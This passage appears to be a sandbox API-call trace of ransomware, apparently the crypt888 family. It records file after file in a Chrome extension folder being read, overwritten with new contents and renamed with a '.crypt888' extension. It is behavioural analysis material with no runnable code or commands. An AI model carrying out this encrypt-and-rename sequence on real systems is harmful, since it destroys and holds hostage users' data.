Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\*", lpFindFileData=0x39e918 | out: lpFindFileData=0x39e918) returned 0x59a8a8 [0075.504] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.504] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.504] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.504] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.504] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.504] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.505] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.505] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.505] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.505] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 0 [0075.505] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0075.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebb0) returned 1 [0075.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebbc) returned 1 [0075.506] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css", nBufferLength=0x105, lpBuffer=0x39e5dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css", lpFilePart=0x0) returned 0x9e [0075.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ead0) returned 1 [0075.506] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.507] GetFileType (hFile=0x174) returned 0x1 [0075.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eacc) returned 1 [0075.507] GetFileType (hFile=0x174) returned 0x1 [0075.507] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ebd8 | out: lpFileSizeHigh=0x39ebd8*=0x0) returned 0x1a1d [0075.508] ReadFile (in: hFile=0x174, lpBuffer=0x270c8c4, nNumberOfBytesToRead=0x1a1d, lpNumberOfBytesRead=0x39eb84, lpOverlapped=0x0 | out: lpBuffer=0x270c8c4*, lpNumberOfBytesRead=0x39eb84*=0x1a1d, lpOverlapped=0x0) returned 1 [0075.513] CloseHandle (hObject=0x174) returned 1 [0075.531] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css", nBufferLength=0x105, lpBuffer=0x39e5c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css", lpFilePart=0x0) returned 0x9e [0075.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eab8) returned 1 [0075.531] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.532] GetFileType (hFile=0x174) returned 0x1 [0075.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eab4) returned 1 [0075.532] GetFileType (hFile=0x174) returned 0x1 [0075.532] WriteFile (in: hFile=0x174, lpBuffer=0x276192c*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x39eb74, lpOverlapped=0x0 | out: lpBuffer=0x276192c*, lpNumberOfBytesWritten=0x39eb74*=0x1a20, lpOverlapped=0x0) returned 1 [0075.535] CloseHandle (hObject=0x174) returned 1 [0075.535] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css", lpFilePart=0x0) returned 0x9e [0075.536] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.crypt888", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.crypt888", lpFilePart=0x0) returned 0xa7 [0075.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb5c) returned 1 [0075.536] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css"), fInfoLevelId=0x0, lpFileInformation=0x39ebd8 | out: lpFileInformation=0x39ebd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836661f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836661f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe39ac80, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x1a20)) returned 1 [0075.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb58) returned 1 [0075.536] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.crypt888")) returned 1 [0075.536] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js", nBufferLength=0x105, lpBuffer=0x39e5dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js", lpFilePart=0x0) returned 0x9d [0075.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ead0) returned 1 [0075.537] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.537] GetFileType (hFile=0x174) returned 0x1 [0075.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eacc) returned 1 [0075.537] GetFileType (hFile=0x174) returned 0x1 [0075.537] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ebd8 | out: lpFileSizeHigh=0x39ebd8*=0x0) returned 0x221da [0075.537] ReadFile (in: hFile=0x174, lpBuffer=0x37d5760, nNumberOfBytesToRead=0x221da, lpNumberOfBytesRead=0x39eb84, lpOverlapped=0x0 | out: lpBuffer=0x37d5760*, lpNumberOfBytesRead=0x39eb84*=0x221da, lpOverlapped=0x0) returned 1 [0075.539] CloseHandle (hObject=0x174) returned 1 [0075.559] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js", nBufferLength=0x105, lpBuffer=0x39e5c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js", lpFilePart=0x0) returned 0x9d [0075.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eab8) returned 1 [0075.559] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.561] GetFileType (hFile=0x174) returned 0x1 [0075.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eab4) returned 1 [0075.561] GetFileType (hFile=0x174) returned 0x1 [0075.561] WriteFile (in: hFile=0x174, lpBuffer=0x38800f8*, nNumberOfBytesToWrite=0x221e0, lpNumberOfBytesWritten=0x39eb74, lpOverlapped=0x0 | out: lpBuffer=0x38800f8*, lpNumberOfBytesWritten=0x39eb74*=0x221e0, lpOverlapped=0x0) returned 1 [0075.564] CloseHandle (hObject=0x174) returned 1 [0075.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js", lpFilePart=0x0) returned 0x9d [0075.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js.crypt888", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js.crypt888", lpFilePart=0x0) returned 0xa6 [0075.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb5c) returned 1 [0075.572] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js"), fInfoLevelId=0x0, lpFileInformation=0x39ebd8 | out: lpFileInformation=0x39ebd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8366b010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8366d720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe3e6f40, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x221e0)) returned 1 [0075.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb58) returned 1 [0075.572] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.js.crypt888")) returned 1 [0075.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js", nBufferLength=0x105, lpBuffer=0x39e5dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js", lpFilePart=0x0) returned 0xa6 [0075.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ead0) returned 1 [0075.573] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.574] GetFileType (hFile=0x174) returned 0x1 [0075.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eacc) returned 1 [0075.574] GetFileType (hFile=0x174) returned 0x1 [0075.574] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ebd8 | out: lpFileSizeHigh=0x39ebd8*=0x0) returned 0xf2 [0075.574] ReadFile (in: hFile=0x174, lpBuffer=0x27b11b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39eb84, lpOverlapped=0x0 | out: lpBuffer=0x27b11b0*, lpNumberOfBytesRead=0x39eb84*=0xf2, lpOverlapped=0x0) returned 1 [0075.575] CloseHandle (hObject=0x174) returned 1 [0075.592] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js", nBufferLength=0x105, lpBuffer=0x39e5c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js", lpFilePart=0x0) returned 0xa6 [0075.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eab8) returned 1 [0075.593] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.594] GetFileType (hFile=0x174) returned 0x1 [0075.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eab4) returned 1 [0075.594] GetFileType (hFile=0x174) returned 0x1 [0075.594] WriteFile (in: hFile=0x174, lpBuffer=0x27ff4a4*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x39eb48, lpOverlapped=0x0 | out: lpBuffer=0x27ff4a4*, lpNumberOfBytesWritten=0x39eb48*=0x100, lpOverlapped=0x0) returned 1 [0075.595] CloseHandle (hObject=0x174) returned 1 [0075.596] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js", lpFilePart=0x0) returned 0xa6 [0075.596] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js.crypt888", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js.crypt888", lpFilePart=0x0) returned 0xaf [0075.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb5c) returned 1 [0075.596] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js"), fInfoLevelId=0x0, lpFileInformation=0x39ebd8 | out: lpFileInformation=0x39ebd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8366fe30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8366fe30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe40d0a0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x100)) returned 1 [0075.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb58) returned 1 [0075.596] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app_redirect.js.crypt888")) returned 1 [0075.598] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png", nBufferLength=0x105, lpBuffer=0x39e5dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png", lpFilePart=0x0) returned 0xaa [0075.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ead0) returned 1 [0075.598] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.598] GetFileType (hFile=0x174) returned 0x1 [0075.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eacc) returned 1 [0075.598] GetFileType (hFile=0x174) returned 0x1 [0075.598] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ebd8 | out: lpFileSizeHigh=0x39ebd8*=0x0) returned 0x1bef [0075.598] ReadFile (in: hFile=0x174, lpBuffer=0x2800afc, nNumberOfBytesToRead=0x1bef, lpNumberOfBytesRead=0x39eb84, lpOverlapped=0x0 | out: lpBuffer=0x2800afc*, lpNumberOfBytesRead=0x39eb84*=0x1bef, lpOverlapped=0x0) returned 1 [0075.616] CloseHandle (hObject=0x174) returned 1 [0075.635] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png", nBufferLength=0x105, lpBuffer=0x39e5c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png", lpFilePart=0x0) returned 0xaa [0075.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eab8) returned 1 [0075.636] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.637] GetFileType (hFile=0x174) returned 0x1 [0075.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eab4) returned 1 [0075.637] GetFileType (hFile=0x174) returned 0x1 [0075.637] WriteFile (in: hFile=0x174, lpBuffer=0x2856474*, nNumberOfBytesToWrite=0x1bf0, lpNumberOfBytesWritten=0x39eb74, lpOverlapped=0x0 | out: lpBuffer=0x2856474*, lpNumberOfBytesWritten=0x39eb74*=0x1bf0, lpOverlapped=0x0) returned 1 [0075.638] CloseHandle (hObject=0x174) returned 1 [0075.640] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png", lpFilePart=0x0) returned 0xaa [0075.640] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS 